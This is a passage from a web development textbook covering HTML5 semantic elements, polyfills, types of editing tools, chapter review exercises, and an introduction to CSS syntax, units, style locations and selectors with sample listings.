The <aside> element could thus be used for sidebars, pull quotes, groups of
advertising images, or any other grouping of nonessential elements.

Pro Tip
Prior to IE 9, CSS styles could not be applied to the semantic elements within
HTML5. The most common workaround to this problem was the so-called
HTML5 shiv, which is a JavaScript-based polyfill (see Pro Tip in Section
3.6.7). Some of the examples in later chapters include this shiv, which looks
like the following:

<!--[if lt IE 9]> 

     <script src=“html5shiv.js”></script> 

<![endif]-->



This code makes use of conditional comments, which are supported only by
IE. Other browsers will see this code as an HTML comment.

3.6.7 Details and Summary
Two of the new related semantic elements added to the HTML 5.1 Draft are
the <details> and <summary> elements. They represent, in the words of the
Draft, “a disclosure widget from which the user can obtain additional
information or controls.” What does this mean? One of the more common
uses of JavaScript in the user interface is so-called accordion widgets, which
are use used to toggle the visibility of a block of content (see Figure 3.22 ).



Figure 3.22 The details and
summary elements

Figure 3.22 Full Alternative Text

The <details> and <summary> elements provide a way of representing this



functionality in markup. For browsers that support these elements (at the time
of writing, only Chrome, Opera, and Safari), the accordion functionality is
included as well (thus no JavaScript programming is required). Figure 3.22
illustrates the markup and the result in a supporting browser.

Pro Tip
One way to “safely” make use of new HTML elements that are not
universally available in all browsers is to make use of a so-called polyfill,
which is a small piece of JavaScript code that provides an implementation of
some functionality that is not yet available in some browsers. Like real-world
Polyfilla, which is typically used to fill a hole in a wall in your house, a
polyfill on the web fills a “hole” in your browser's (or more importantly, your
user's browser) functionality or supports new features in HTML or
JavaScript.

For instance, let's say you want to use the <details> element, but are worried
that users with Firefox or Edge browsers do not yet support this element. By
adding the relevant link to a JavaScript polyfill library for this element (and
perhaps adding some JavaScript initialization code), your users will be able
to experience this element regardless of whether their browser supports it.

Note
HTML 5.1 defines other new semantic elements. The <dialog> element,
according to the Recommendation, “represents a part of an application that a
user interacts with to perform a task, for example, a dialog box, inspector, or
window.” Many web sites have pseudo dialogs implemented via a
combination of <div> elements plus CSS and JavaScript. The <dialog>
element provides a semantically clearer way of indicating such an element
within markup. However, at the time of writing, this element is only
supported in Chrome and Opera.

Another new set of related elements are the <menu> and <menuitem>



elements, which are, no surprise, used to represent a series of menu
commands. It is common in many contemporary web sites to style a list of
links as a toolbar with child options that appear via JavaScript. These two
elements provide a more semantically clear way of marking up such links.
Unfortunately, at the time of writing the only browser that provides partial
support of these elements is Firefox.

Tools Insight
There are many different ways to create HTML pages. Indeed, any program
that can edit and save text files can be used as an HTML editor. Nonetheless,
a proper tool can make creating web content easier. The authors have our
preferred tools, but we do not agree with one other, nor do we always use the
same tools (Randy tends to use Adobe Brackets, Microsoft Visual Code, or
Cloud9, while Ricardo favors Emacs, Eclipse, or Bluefish). Your instructor
may have chosen an HTML editor for you based on lab availability costs,
familiarity, or some other rationale.

While we won't be advocating for specific tools to create web content in this
book, we do think it is important to understand the different genres of web
development tools and their relative advantages and disadvantages. We have
classified web development tools into five categories: WYSIWYG editors,
code editors, full IDEs, cloud-based environments, and code playgrounds.

WYSIWYG editors. What-You-See-Is-What-You-Get refers to web tools
that provide a user experience analogous to using a word processor. The
advantage of such tools is that you do not need to know much (if any)
HTML. The disadvantage of such tools is, however, quite large. These tools
are never truly WYSIWYG and they often struggle with providing a preview
of more complicated CSS. Indeed, these tools almost always have to provide
users with a traditional HTML view for fixing such problems. While we
would never recommend only using such a tool, such tools can be helpful for
inexperienced end users. Adobe Dreamweaver (see Figure 3.23 ) and Adobe
Muse are two popular editors in this genre. Web-based publishing programs,
such as blogs or content management systems also make use of WYSIWYG



editors, such as TinyMCE.

Figure 3.23 A WYSIWYG
editor [Adobe Dreamweaver]



Figure 3.23 Full Alternative Text

Code editors. Since web developers typically need knowledge of HTML,
CSS, JavaScript, and more, many web developers prefer to use tools that
allow them to focus on viewing and editing these text files. Nonetheless, it is
helpful to use a tool that “understands” HTML, CSS, and so on. Such a tool
might provide color coding, intelligent hints, tag completion, and so on.
There are a wide range of choices in this genre, many of them open source.
Some of the options include Atom, BlueFish, Brackets, Notepad++, Sublime
Text (see Figure 3.24 ), and Visual Studio Code.

Figure 3.24 A Code Editor
[Sublime Text]

Figure 3.24 Full Alternative Text



Full IDEs. Integrated Development Environments provide a more full-
featured programming experience. They not only provide most of the same
functionality as the previously mentioned code editors, but also typically
provide extra capabilities, such as comprehensive help files, build tools,
multiple-language support, and integration with other enterprise tools, such as
databases. Some of the options in this genre include Eclipse (see Figure 3.25
), NetBeans, and Visual Studio. This extra power does come at a price, both
figuratively and literally. The figurative costs is these complicated IDEs
typically have a more substantial learning curve and can often have steep
hardware requirements.

Figure 3.25 A full IDE [Eclipse]



Figure 3.25 Full Alternative Text

Cloud-based environments. One of the fastest growing approaches to
developing web applications is to do one's development, testing, and hosting
all within an online environment. The key advantage of such an approach is
that you don't have to worry about installing, supporting, and synchronizing
different web development tools, since it is all done for you by the online
environment. As well, using such online environments means that you don't
really care what device you have; as long as you have an Internet connection,
you can do your coding. Of course, that's also the key disadvantage. Since
you need an Internet connection, you can't code while on the plane or in a
forest (though these environments sometimes provide a mechanism for
offline usage). At the time of writing, CodeAnywhere (see Figure 3.26 ) and
Cloud9 are two popular sites providing a complete IDE for web development.



Figure 3.26 Cloud-Based
Environment [CodeAnywhere]

Figure 3.26 Full Alternative Text

Code playgrounds. Our final approach to web development tools also makes
use of online environments. Code playgrounds are not about constructing
complete sites. Instead, they provide a way to experiment, demonstrate, and
share smaller snippets of code. Some of the most popular include CodePen
(see Figure 3.27 ), JSFiddle, and CSS Deck. These environments are
especially valuable for students as a way to construct online portfolios and to
show off their skills to prospective clients and employers. As mentioned in
this book's Preface, many of the HTML, CSS, and JavaScript code examples
in the early chapters of this book are available on CodePen.



Figure 3.27 Code Playground
[CodePen]

Figure 3.27 Full Alternative Text

We encourage all of our readers to experiment with different tools and
approaches. As mentioned at the beginning of this section, you will likely
find that one tool is rarely sufficient for web development. Furthermore, one
of the constants of web development has been the evolution and extinction of
web tools. Ten years ago, students might have learned Microsoft FrontPage,



Netscape Composer, Adobe GoLive, or Apple iWeb in their web
development courses, yet today all of these programs are discontinued and
are not really used anymore. The moral of the story? Be prepared to learn
new tools now … and be prepared to learn more new ones in the future!



3.7 Chapter Summary
This chapter has provided a relatively fast-paced overview of the significant
features of HTML5. Besides covering the details of most of the important
HTML elements, an additional focus throughout the chapter has been on the
importance of maintaining proper semantic structure when creating an HTML
document. To that end, the chapter also covered the new semantic elements
defined in HTML5. The next chapter will shift the focus to the visual display
of HTML elements and provide the reader with a first introduction to CSS.

3.7.1 Key Terms
absolute referencing

accessibility

ancestors

body

Cascading Style Sheets (CSS)

character entity

description lists

descendants

directory

document outline

Document Object Model

Document Type Definition



empty element

folder

head

HTML attribute

HTML validators

inline HTML elements

maintainability

markup

markup language

ordered lists

pathname

polyfill

quirks mode

Recommendations

relative referencing

root element

root reference

schemas

search engine optimization

semantic HTML



specifications

standards mode

syndication

syntax errors

tags

unordered lists

UTF-8

WHATWG

W3C

XHTML 1.0 Strict

XHTML 1.0 Transitional

3.7.2 Review Questions
1. 1. What is the difference between XHTML and HTML5?

2. 2. Why was the XHTML 2.0 standard eventually abandoned?

3. 3. What role do HTML validators play in web development?

4. 4. What are the main syntax rules for XML?

5. 5. What are HTML elements? What are HTML attributes?

6. 6. What is semantic markup? Why is it important?

7. 7. Why is removing presentation-oriented markup from one's HTML
documents considered to be a best practice?



8. 8. What is the difference between standards mode and quirks mode?
What role does the doctype play with these modes?

9. 9. What is the difference between the <p> and the <div> element? In
what contexts should one use the one over the other?

10. 10. Describe the difference between a relative and an absolute reference.
When should each be used?

11. 11. What are the advantages of using the new HTML5 semantic
elements? Disadvantages?

12. 12. Are you allowed to use more than one <heading> element in a web
page? Why or why not?

13. 13. How are the <main>, <section>, and <article> elements related?
Be sure to describe the semantic role for each of these elements.

14. 14. How does the <figure> element differ from the <img> element? In
what situations does it make sense to use or not use <figure>?

3.7.3 Hands-On Practice
Hands-on practice projects are present in many chapters throughout this
textbook and relate the content matter back to a few overarching examples:
an art store, a travel website, and a customer relationship management
(CRM) portal for a book representative. These projects come with images,
databases, and other files, and are included with your purchase of this
textbook.

Project 1: Share Your Travel
Photos



Difficulty Level: Beginner

Overview
This project is the first step in the creation of a travel photo-sharing website.
The page you are given is augmented by this project so that it appears similar
to that shown in Figure 3.28 .



Figure 3.28 Completed Project
1

Figure 3.28 Full Alternative Text



Hands-on Exercises
Project 3.1

Instructions
1. Open chapter03-project01.html in the editor of your choice, so you can

start making changes.

2. Open a browser and direct it to the same file (or double click the file in
most operating systems). You should see a page similar to Figure 3.10 .

3. Start by adding an image to the <h1> heading. The image is in the
images folder.

4. In the unordered list, add links to the <h2> headings. This will require
referencing in the href the id attribute of those headings.

5. Add a new section for the related photos. In this new section, add three
images from the ones provided in the images folder. Use the small
images related-square1.jpg, related-square2.jpg, and related-square3.jpg,
but link to the large images with almost the same names.

6. Add an additional review.

Test
1. Firstly, test your page by seeing if it looks like the one in Figure 3.28 .

2. Now check that the links at the top of the page work correctly and that
clicking on the related images brings up the larger versions.

3. Validate the page by either using a built-in tool in your editor, or pasting



the HTML into http://validator.w3.org or https://html5.validator.nu and
ensure that it displays a message that indicates it contains no errors.

Project 2: Customer Relations
Management Admin

Difficulty Level: Intermediate

Overview
This project is the first step in the creation of a CRM (Customer Relations
Management) website. In this project, you will be augmenting the provided
page to use semantic HTML5 tags.

Hands-on Exercises
Project 3.2

Instructions
1. Open chapter03-project02.html in the editor of your choice, and in a

browser. In this project, the look of your page will remain unchanged
from how it looks at the start as shown in Figure 3.29 .

http://validator.w3.org


Figure 3.29 Completed
Project 2

Figure 3.29 Full Alternative Text

2. Reflect on why adding semantic markup is a worthwhile endeavor, even
if the final, rendered page looks identical.



3. Replace and supplement generic HTML tags like <div> with semantic
tags like <article>, <nav>, or <footer> (for example). Some parts
make sense to wrap inside a tag such as <section> or <figure>. Figure
3.29 indicates which semantic tags you should use.

Test
1. Firstly, test your page side by side with the original in a browser to make

sure it looks the same.

2. Validate the page by either using a built-in tool in your editor, or pasting
the HTML into http://validator.w3.org or https://html5.validator.nu and
ensure that it displays a message that indicates it contains no errors.

Project 3: Art Store

Difficulty Level: Intermediate

Overview
This project is the first step in the creation of an art store website. Unlike the
previous exercises, your task is to create an HTML page from scratch based
on the image in Figure 3.30 .

http://validator.w3.org


Figure 3.30 Completed Project
3

Figure 3.30 Full Alternative Text

Hands-on Exercises
Project 3.3



Instructions
1. Define your own chapter02-project03.html file in the editor of your

choice, and open it in a browser.

2. Add markup and content, making best guesses as to what HTML
markup to use.

3. Remember to try and get in the habit of using semantic markup, since it
adds meaning and has no visual impact.

Test
1. Display your page in a browser, and determine if it looks like Figure

3.30 .

2. Validate the page by either using a built-in tool in your editor, or pasting
the HTML into http://validator.w3.org or https://html5.validator.nu and
ensure that it displays a message that indicates it contains no errors.

http://validator.w3.org


4 Introduction to CSS



Chapter Objectives
In this chapter you will learn …

The rationale for CSS

The syntax of CSS

Where CSS styles can be located

The different types of CSS selectors

What the CSS cascade is and how it works

The CSS box model

CSS text styling

This chapter provides a substantial introduction to CSS (Cascading Style
Sheets), the principal mechanism for web authors to modify the visual
presentation of their web pages. Just as with HTML, there are many books
devoted to CSS.1-3 While simple styling is quite straightforward, more
complicated CSS tasks such as layout and positioning can be quite
complicated. Since this book covers CSS in just two chapters, it cannot
possibly cover all of it. Instead, our intent in this chapter is to cover the
foundations necessary for working with contemporary CSS; Chapter 7 will
cover CSS layout and positioning.



4.1 What Is CSS?
At various places in the previous chapter on HTML, it was mentioned that in
current web development best practices HTML should not describe the
formatting or presentation of documents. Instead that presentation task is best
performed using Cascading Style Sheets (CSS).

CSS is a W3C standard for describing the appearance of HTML elements.
Another common way to describe CSS's function is to say that CSS is used to
define the presentation of HTML documents. With CSS, we can assign font
properties, colors, sizes, borders, background images, and even position
elements on the page.

CSS can be added directly to any HTML element (via the style attribute),
within the <head> element, or, most commonly, in a separate text file that
contains only CSS.

4.1.1 Benefits of CSS
Before digging into the syntax of CSS, we should say a few words about why
using CSS is a better way of describing appearances than HTML alone. The
benefits of CSS include the following:

Improved control over formatting. The degree of formatting control in
CSS is significantly better than that provided in HTML. CSS gives web
authors fine-grained control over the appearance of their web content.

Improved site maintainability. Websites become significantly more
maintainable because all formatting can be centralized into one CSS file,
or a small handful of them. This allows you to make site-wide visual
modifications by changing a single file.

Improved accessibility. CSS-driven sites are more accessible. By
keeping presentation out of the HTML, screen readers, and other



accessibility tools work better, thereby providing a significantly
enriched experience for those reliant on accessibility tools.

Improved page-download speed. A site built using a centralized set of
CSS files for all presentation will also be quicker to download because
each individual HTML file will contain less style information and
markup, and thus be smaller.

Improved output flexibility. CSS can be used to adopt a page for
different output media. This approach to CSS page design is often
referred to as responsive design. Figure 4.1 illustrates a site that
responds to different browser and window sizes.

Figure 4.1 CSS-based
responsive design (site by
Peerapong Pulpipatnan on
ThemeForest.net)

Figure 4.1 Full Alternative Text

http://ThemeForest.net


4.1.2 CSS Versions
Just like with the previous chapter, we should say a few words about the
history of CSS. Style sheets as a way to visually format markup predate the
web. In the early 1990s, a variety of different style sheet standards were
proposed, including JavaScript style sheets, which was proposed by Netscape
in 1996. Netscape's proposal was one that required the use of JavaScript
programming to perform style changes. Thankfully for nonprogrammers
everywhere, the W3C decided to adopt CSS, and by the end of 1996 the CSS
Level 1 Recommendation was published. A year later, the CSS Level 2
Recommendation (also more succinctly labeled simply as CSS2) was
published.4

Even though work began over a decade ago, an updated version of the Level
2 Recommendation, CSS2.1, did not become an official W3C
Recommendation until June 2011. And to complicate matters even more, all
through the last decade (and to the present day as well), during the same time
the CSS2.1 standard was being worked on, a different group at the W3C was
working on a CSS3 draft. To make CSS3 more manageable for both browser
manufacturers and web designers, the W3C has subdivided it into a variety of
different CSS3 modules. So far the following CSS3 modules have made it to
official W3C Recommendations: CSS Selectors, CSS Namespaces, CSS
Media Queries, CSS Color, and CSS Style Attributes.

4.1.3 Browser Adoption
Perhaps the most important thing to keep in mind with CSS is that the
different browsers have not always kept up to the W3C. While Microsoft's
Internet Explorer was an early champion of CSS (its IE3, released in 1996,
was the first major browser to support CSS, and its IE5 for the Macintosh
was the first browser to reach almost 100% CSS1 support in 2000), its later
versions (especially IE5, IE6, and IE7) for Windows had uneven support for
certain parts of CSS2. However, all browsers have not implemented parts of
the CSS2 Recommendation.



For this reason, CSS has a reputation for being a somewhat frustrating
language. Based on over a decade of experience teaching university students
CSS, this reputation is well deserved. Since CSS was designed to be a styling
language, text styling is quite easy. However, CSS was not really designed to
be a layout language, so authors often find it tricky dealing with floating
elements, relative positions, inconsistent height handling, overlapping
margins, and nonintuitive naming (we're looking at you, relative and
!important). When one adds in the uneven CSS 2.1 support (prior to IE8 and
Firefox 2) in browsers for CSS2.1, it becomes quite clear why many software
developers developed a certain fear and loathing of CSS.



4.2 CSS Syntax
A CSS document consists of one or more style rules. A rule consists of a
selector that identifies the HTML element or elements that will be affected,
followed by a series of property:value pairs (each pair is also called a
declaration), as shown in Figure 4.2 .

Figure 4.2 CSS syntax
Figure 4.2 Full Alternative Text

Hands-on Exercises Lab 4



Exercise
Adding Styles

The series of declarations is also called the declaration block. As one can see
in the illustration, a declaration block can be together on a single line, or
spread across multiple lines. The browser ignores white space (i.e., spaces,
tabs, and returns) between your CSS rules so you can format the CSS
however you want. Notice that each declaration is terminated with a
semicolon. The semicolon for the last declaration in a block is in fact
optional. However, it is sensible practice to also terminate the last declaration
with a semicolon as well; that way, if you add rules to the end later, you will
reduce the chance of introducing a rather subtle and hard-to-discover bug.

4.2.1 Selectors
Every CSS rule begins with a selector. The selector identifies which element
or elements in the HTML document will be affected by the declarations in the
rule. Another way of thinking of selectors is that they are a pattern that is
used by the browser to select the HTML elements that will receive the style.
As you will see later in this chapter, there are a variety of ways to write
selectors.

4.2.2 Properties
Each individual CSS declaration must contain a property. These property
names are predefined by the CSS standard. The CSS2.1 recommendation
defines over a hundred different property names, so some type of reference
guide, whether in a book, online, or within your web development software,
can be helpful.5 This chapter and the next one on CSS (Chapter 7) will only
be able to cover most of the common CSS properties. Table 4.1 lists many of
the most commonly used CSS properties. Properties marked with an asterisk
contain multiple subproperties not listed here (e.g., border-top, border-top-



color, border-top-width, etc).

Table 4.1 Common CSS
Properties

Property Type Property

Fonts

font

font-family

font-size

font-style

font-weight

@font-face

Text

letter-spacing

line-height

text-align

text-decoration*

text-indent

Color and background

background

background-color

background-image

background-position

background-repeat



box-shadow

color

opacity

Borders

border*

border-color

border-width

border-style

border-top, border-left, …*

border-image*

border-radius

Spacing

padding

padding-bottom, padding-left, …

margin

margin-bottom, margin-left, …

Sizing

height

max-height

max-width

min-height

min-width

width



Layout

bottom, left, right, top

clear

display

float

overflow

position

visibility

z-index

Lists

list-style*

list-style-image

list-style-type

Effects

animation*

filter

perspective

transform*

transition*

4.2.3 Values
Each CSS declaration also contains a value for a property. The unit of any
given value is dependent upon the property. Some property values are from a
predefined list of keywords. Others are values such as length measurements,
percentages, numbers without units, color values, and URLs.



Colors would seem at first glance to be the clearest of these units. But as we
will see in more detail in Chapter 6, color can be a complicated thing to
describe. CSS supports a variety of different ways of describing color; Table
4.2 lists the different ways you can describe a color value in CSS.

Table 4.2 Color Values
Method Description Example

Name
Use one of 17 standard
color names. CSS3 has
140 standard names.

color: red;

color: hotpink; /* CSS3

only */

RGB

Uses three different
numbers between 0 and
255 to describe the red,
green, and blue values
of the color.

color: rgb(255,0,0);

color:

rgb(255,105,180);

Hexadecimal

Uses a six-digit
hexadecimal number to
describe the red, green,
and blue value of the
color; each of the three
RGB values is between
0 and FF (which is 255
in decimal). Notice that
the hexadecimal number
is preceded by a hash or
pound symbol (#).

color: #FF0000;

color: #FF69B4;

RGBa

This defines a partially
transparent background
color. The “a” stands
for “alpha,” which is a
term used to identify a
transparency that is a

color:

rgba(255,0,0,0.5);



value between 0.0 (fully
transparent) and 1.0
(fully opaque).

HSL

Allows you to specify a
color using Hue
Saturation and Light
values. This is available
only in CSS3. HSLA is
also available as well.

color:

hsl(0,100%,100%);

color:

hsla(330,59%,100%,0.5);

Just as there are multiple ways of specifying color in CSS, so too there are
multiple ways of specifying a unit of measurement. As we will see later in
Section 4.7, these units can sometimes be complicated to work with. When
working with print design, we generally make use of straightforward absolute
units such as inches or centimeters and picas or points. However, because
different devices have differing physical sizes as well as different pixel
resolutions and because the user is able to change the browser size or its
zoom mode, these absolute units don't always make sense with web element
measures.

Table 4.3 lists the different units of measure in CSS. Some of these are
relative units, in that they are based on the value of something else, such as
the size of a parent element. Others are absolute units, in that they have a
real-world size. Unless you are defining a style sheet for printing, it is
recommended you avoid using absolute units. Pixels are perhaps the one
popular exception (though, as we shall see later, there are also good reasons
for avoiding the pixel unit). In general, most of the CSS that you will see uses
either px, em, or % as a measure unit.

Table 4.3 Units of Measure
Values
Unit Description Type



px Pixel. In CSS2 this is a relative measure, while in
CSS3 it is absolute (1/96 of an inch).

Relative
(CSS2)

Absolute
(CSS3)

em

Equal to the computed value of the font-size
property of the element on which it is used. When
used for font sizes, the em unit is in relation to the
font size of the parent.

Relative

%
A measure that is always relative to another value.
The precise meaning of % varies depending upon
the property in which it is being used.

Relative

ex A rarely used relative measure that expresses size in
relation to the x-height of an element's font. Relative

ch
Another rarely used relative measure; this one
expresses size in relation to the width of the zero
(“0”) character of an element's font.

Relative

(CSS3
only)

rem

Stands for root em, which is the font size of the root
element. Unlike em, which may be different for each
element, the rem is constant throughout the
document.

Relative

(CSS3
only)

vw,
vh

Stands for viewport width and viewport height.
Both are percentage values (between 0 and 100) of
the viewport (browser window). This allows an
item to change size when the viewport is resized.

Relative

(CSS3
only)

in Inches Absolute
cm Centimeters Absolute
mm Millimeters Absolute
pt Points (equal to 1/72 of an inch) Absolute



Pc Pica (equal to 1/6 of an inch) Absolute

Note
It is often helpful to add comments to your style sheets. Comments take the
form:

/* comment goes here */

Real-world CSS files can quickly become quite long and complicated. It is a
common practice to locate style rules that are related together, and then
indicate that they are related via a comment. For instance:

/* main navigation */

nav#main { … }

nav#main ul { … }

nav#main ul li { … }

/* header */

header { … }

h1 { … }

Comments can also be a helpful way to temporarily hide any number of rules,
which can make debugging your CSS just a tiny bit less tedious.



4.3 Location of Styles
As mentioned earlier, CSS style rules can be located in three different
locations. These three are not mutually exclusive, in that you could place
your style rules in all three. In practice, however, web authors tend to place
all of their style definitions in one (or more) external style sheet files.

4.3.1 Inline Styles
Inline styles are style rules placed within an HTML element via the style
attribute, as shown in Listing 4.1. An inline style only affects the element it is
defined within and overrides any other style definitions for properties used in
the inline style (more about this below in Section 4.5.2). Notice that a
selector is not necessary with inline styles and that semicolons are only
required for separating multiple rules.

Using inline styles is generally discouraged since they increase bandwidth
and decrease maintainability (because presentation and content are
intermixed and because it can be difficult to make consistent inline style
changes across multiple files). Inline styles can, however, be handy for
quickly testing out a style change.

Listing 4.1 Internal styles example
<h1>Share Your Travels</h1> 

<h2 style=“font-size: 24pt”>Description</h2> 

… 

<h2 style=“font-size: 24pt; font-weight: bold;”>Reviews</h2>

4.3.2 Embedded Style Sheet



Embedded style sheets (also called internal styles) are style rules placed
within the <style> element (inside the <head> element of an HTML
document), as shown in Listing 4.2. While better than inline styles, using
embedded styles is also by and large discouraged. Since each HTML
document has its own <style> element, it is more difficult to consistently
style multiple documents when using embedded styles. Just as with inline
styles, embedded styles can, however, be helpful when quickly testing out a
style that is used in multiple places within a single HTML document. We
sometimes use embedded styles in the book or in lab materials for that
reason.

Hands-on Exercises Lab 4
Exercise
Embedded Style Sheets

Listing 4.2 Embedded styles
example
<head> 

   <meta charset=“utf-8”> 

   <title>Share Your Travels -- New York - Central Park</title> 

   <style> 

      h1 { font-size: 24pt; } 

      h2 { 

         font-size: 18pt; 

         font-weight: bold; 

      } 

   </style> 

</head> 

<body> 

   <h1>Share Your Travels</h1> 

   <h2>New York - Central Park</h2> 

   …



4.3.3 External Style Sheet
External style sheets are style rules placed within a external text file with the
.css extension. This is by far the most common place to locate style rules
because it provides the best maintainability. When you make a change to an
external style sheet, all HTML documents that reference that style sheet will
automatically use the updated version. The browser is able to cache the
external style sheet, which can improve the performance of the site as well.

Hands-on Exercises Lab 4
Exercise
External Style Sheets

To reference an external style sheet, you must use a <link> element (within
the <head> element), as shown in Listing 4.3. You can link to several style
sheets at a time; each linked style sheet will require its own <link> element.

Listing 4.3 Referencing an external
style sheet
<head> 

   <meta charset=“utf-8”> 

   <title>Share Your Travels -- New York - Central Park</title> 

   <link rel=“stylesheet” href=“styles.css” /> 

</head>

Note



There are in fact three different types of style sheet:

1. Author-created style sheets (what you are learning in this chapter)

2. User style sheets

3. Browser style sheets

User style sheets allow the individual user to tell the browser to display pages
using that individual's own custom style sheet. This option can usually be
found in a browser's accessibility options.

The browser style sheet defines the default styles the browser uses for each
HTML element. Some browsers allow you to view this stylesheet. For
instance, in Firefox, you can view this default browser style sheet via the
following URL: resource://gre-resources/forms.css. The browser stylesheet
for WebKit browsers such as Chrome and Safari can be found (for now) at:
http://trac.webkit.org/browser/trunk/Source/WebCore/css/html.css.

http://trac.webkit.org/browser/trunk/Source/WebCore/css/html.css


4.4 Selectors
As teachers, we often need to be able to relay a message or instruction to
either individual students or groups of students in our classrooms. In spoken
language, we have a variety of different approaches we can use. We can
identify those students by saying things like: “all of you talking in the last
row,” or “all of you sitting in an aisle seat,” or “all of you whose name begins
with ‘C’, ” or “all first-year students,” or “John Smith.” Each of these
statements identifies or selects a different (but possibly overlapping) set of
students. Once we have used our student selector, we can then provide some
type of message or instruction, such as “talk more quietly,” “hand in your
exams,” or “stop texting while I am speaking.”

Hands-on Exercises Lab 4
Exercise
Element, Class, and Id Selectors

Note
Figure 3.4 back in Chapter 3 illustrated some of the familial terminologies
(such as descendants, ancestors, siblings, etc.) that are used to describe the
relationships between elements in an HTML document. The Document
Object Model (DOM) is how a browser represents an HTML page internally.
This DOM is akin to a tree representing the overall hierarchical structure of
the document.

As you progress through these chapters on CSS, you will at times have to
think about the elements in your HTML document in terms of their position
within the hierarchy. Figure 4.3 illustrates a sample document structure as a



hierarchical tree.

Figure 4.3 Document
outline/tree

Figure 4.3 Full Alternative Text

In a similar way, when defining CSS rules, you will need to first use a
selector to tell the browser which elements will be affected by the property
values. CSS selectors allow you to select individual or multiple HTML
elements.

The topic of selectors has become more complicated than it was when we
started teaching CSS in the late 1990s. There are now a variety of new
selectors that are supported by most modern browsers. Before we get to
those, let us look at the three basic selector types that have been around since
the earliest CSS2 specification.

4.4.1 Element Selectors
Element selectors select all instances of a given HTML element. The example



CSS rules in Figure 4.2 illustrate two element selectors. You can select all
elements by using the universal element selector, which is the * (asterisk)
character.

You can select a group of elements by separating the different element names
with commas. This is a sensible way to reduce the size and complexity of
your CSS files, by combining multiple identical rules into a single rule. An
example grouped selector is shown in Listing 4.4, along with its equivalent as
three separate rules.

4.4.2 Class Selectors
A class selector allows you to simultaneously target different HTML
elements regardless of their position in the document tree. If a series of
HTML elements have been labeled with the same class attribute value, then
you can target them for styling by using a class selector, which takes the
form: period (.) followed by the class name.

Listing 4.5 illustrates an example of styling using a class selector. The result
in the browser is shown in Figure 4.4 .

Figure 4.4 Class selector
example in browser



Figure 4.4 Full Alternative Text

Listing 4.4 Sample grouped selector
/* commas allow you to group selectors */ 

p, div, aside { 

   margin: 0; 

   padding: 0; 

} 

/* the above single grouped selector is equivalent to the 

following: */ 

p { 

   margin: 0; 

   padding: 0; 

} 

div { 

   margin: 0; 

   padding: 0; 

} 

aside { 

   margin: 0; 

   padding: 0; 

}

Pro Tip
Grouped selectors are often used as a way to quickly reset or remove browser
defaults. The goal of doing so is to reduce browser inconsistencies with
things such as margins, line heights, and font sizes. These reset styles can be
placed in their own CSS file (perhaps called reset.css) and linked to the page
before any other external style sheets. An example of a simplified reset is
shown below:

html, body, div, span, h1, h2, h3, h4, h5, h6, p { 

  margin: 0; 

  padding: 0; 

  border: 0; 

  font-size: 100%; 

  vertical-align: baseline; 

}



An alternative to resetting/removing browser defaults is to normalize them:
that is, ensure all browsers use the same default settings for all elements.
Many popular sites make use of normalize.css which can be found at https://
github.com/necolas/normalize.css

Listing 4.5 Class selector example
<head> 

   <title>Share Your Travels </title> 

   <style> 

      .first { 

         font-style: italic; 

         color: red; 

      } 

   </style> 

</head> 

<body> 

   <h1 class=“first”>Reviews</h1> 

   <div>

      <p class=“first”>By Ricardo on <time>2016-05-23</time></p> 

      <p>Easy on the HDR buddy.</p> 

   </div> 

   <hr/> 

   <div> 

      <p class=“first”>By Susan on <time>2016-11-18</time></p> 

      <p>I love Central Park.</p> 

   </div> 

   <hr/> 

</body>

4.4.3 Id Selectors
An id selector allows you to target a specific element by its id attribute
regardless of its type or position. If an HTML element has been labeled with
an id attribute, then you can target it for styling by using an id selector,
which takes the form: pound/hash (#) followed by the id name.

Listing 4.6 illustrates an example of styling using an id selector. The result in

https://github.com/necolas/normalize.css


the browser is shown in Figure 4.5 .

Figure 4.5 Id selector example
in browser

Figure 4.5 Full Alternative Text

Listing 4.6 Id selector example
<head> 

   <meta charset=“utf-8”> 

   <title>Share Your Travels -- New York - Central Park</title> 

   <style> 

      #latestComment { 

         font-style: italic; 

         color: red; 

      } 

   </style> 

</head> 

<body> 

   <h1>Reviews</h1> 

   <div id=“latestComment”> 

      <p>By Ricardo on <time>2016-05-23</time></p> 

      <p>Easy on the HDR buddy.</p> 

   </div> 

   <hr/> 

   <div> 



      <p>By Susan on <time>2016-11-18</time></p> 

      <p>I love Central Park.</p> 

   </div> 

   <hr/> 

</body>

Note
Id selectors should only be used when referencing a single HTML element
since an id attribute can only be assigned to a single HTML element. Class
selectors should be used when (potentially) referencing several related
elements.

It is worth noting, however, that the browser is quite forgiving when it comes
to id selectors. While you should only use a given id attribute once in the
markup, the browser is willing to let you use it multiple times!

4.4.4 Attribute Selectors
An attribute selector provides a way to select HTML elements either by the
presence of an element attribute or by the value of an attribute. This can be a
very powerful technique, but because of uneven support by some of the
browsers in the past, not all web authors have used them.

Hands-on Exercises Lab 4
Exercise
Attribute Selectors

Attribute selectors can be a very helpful technique in the styling of hyperlinks
and images. For instance, perhaps we want to make it more obvious to the
user when a pop-up tooltip is available for a link or image. We can do this by



using the following attribute selector:

[title] { … }

This will match any element in the document that has a title attribute. We
can see this at work in Listing 4.7, with the results in the browser shown in
Figure 4.6 .

Figure 4.6 Attribute selector
example in browser

Figure 4.6 Full Alternative Text

Listing 4.7 Attribute selector
example



<head> 

   <meta charset=“utf-8”> 

   <title>Share Your Travels</title> 

   <style> 

      [title] { 

         cursor: help; 

         padding-bottom: 3px; 

         border-bottom: 2px dotted blue; 

         text-decoration: none; 

      } 

   </style> 

</head> 

<body> 

   <div> 

      <img src=“images/flags/CA.png”  title=“Canada Flag” /> 

      <h2><a href=“countries.php?id=CA” title=“see posts from Canada”>

          Canada</a> 

      </h2> 

      <p>Canada is a North American country consisting of … </p> 

      <div> 

          <img src=“images/square/6114907897.jpg” 

            title=“At top of Sulphur Mountain” /> 

          <img src=“images/square/6592317633.jpg” 

            title=“Grace Presbyterian Church” /> 

             <img src=“images/square/6592914823.jpg” 

            title=“Calgary Downtown” /> 

     </div> 

   </div> 

</body>

Table 4.4 summarizes some of the most common ways one can construct
attribute selectors in CSS3.

Table 4.4 Attribute Selectors
Selector Matches Example

[] A specific attribute.

[title]

Matches any element with
a title attribute



[=] A specific attribute with a
specific value.

a[title=“posts from

this country”]

Matches any <a> element
whose title attribute is
exactly “posts from this
country“

[~=]

A specific attribute whose
value matches at least one of
the words in a space-
delimited list of words.

[title~=“Countries”]

Matches any title
attribute that contains the
word “Countries“

[^=]
A specific attribute whose
value begins with a specified
value.

a[href^=“mailto”]

Matches any <a> element
whose href attribute
begins with “mailto“

[*=] A specific attribute whose
value contains a substring.

img[src*=“flag”]

